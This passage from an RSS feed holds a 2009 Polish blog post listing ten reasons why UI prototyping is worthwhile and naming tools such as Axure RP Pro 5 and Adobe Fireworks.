		<link>http://blog.atena.pl/10-powodow-dlaczego-prototypowanie-jest-ok</link>
		<comments>http://blog.atena.pl/10-powodow-dlaczego-prototypowanie-jest-ok#comments</comments>
		<pubDate>Wed, 29 Apr 2009 20:26:18 +0000</pubDate>
		<dc:creator>Marcin Śpiewak</dc:creator>
				<category><![CDATA[Interfejs]]></category>
		<category><![CDATA[Narzędzia]]></category>
		<category><![CDATA[prototypowanie]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=255</guid>
		<description><![CDATA[Wielu z nas używa prototypów nie zdając sobie z tego sprawy. Prototypy mogą być tworzone na różnym poziomie dokładności. Od prostych szkiców na kartce, po rozbudowane fragmenty aplikacji zasilane z baz danych. Ważne jest dobranie odpowiedniego narzędzia do celów, które chcemy osiągnąć. Poniżej kilka argumentów, które mogą pomóc w odpowiedzi na pytanie czy warto "marnować czas na prototypy"...]]></description>
			<content:encoded><![CDATA[<p>Wielu z nas używa prototypów nie zdając sobie z tego sprawy. Prototypy mogą być tworzone na różnym poziomie dokładności. Od prostych szkiców na kartce, po rozbudowane fragmenty aplikacji zasilane z baz danych. Ważne jest dobranie odpowiedniego narzędzia do celów, które chcemy osiągnąć. Poniżej kilka argumentów, które mogą pomóc w odpowiedzi na pytanie czy warto &#8222;marnować czas na prototypy&#8221;&#8230;<br />
<span id="more-255"></span></p>
<ol>
<li>Jeden obraz zastępuje tysiąc słów</li>
<li>Można szybciej naszkicować stronę niż ją opisać w Wordzie</li>
<li>Analizy biznesowe nie uwzględniają usability</li>
<li>Prototyp na wysokim poziomie może potwierdzić możliwość wytworzenia aplikacji</li>
<li>Prototyp może służyć jako proof of concept podczas ustalania szczegółów</li>
<li>Prototypy pozwalają na testy z użytkownikami na wczesnym etapie wytwarzania</li>
<li>Tworzenie prototypu wymusza komunikację między projektantami, webmasterami, analitykami i klientem</li>
<li>Prototyp nie powinien obejmować całego serwisu tylko wybrane elementy (jako uzupełnienie/ilustracja analizy)</li>
<li>Klientowi łatwiej zweryfikować i zaakceptować analizy z widokami</li>
<li>Możemy tanio stworzyć kilka alternatywnych rozwiązań</li>
</ol>
<p>Do prototypowania, zależnie od wymaganego poziomu dokładności, używamy:</p>
<ul>
<li>Kartki papieru i ołówka</li>
<li>Axure RP Pro 5</li>
<li>Adobe Fireworks</li>
<li>Środowiska testowego</li>
</ul>
<p>Więcej na temat doboru poziomu dokładności: <a href="http://www.guuui.com/issues/03_05.php" title="GUUUI - Balancing fidelity in prototyping">Balancing fidelity in prototyping</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/10-powodow-dlaczego-prototypowanie-jest-ok/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

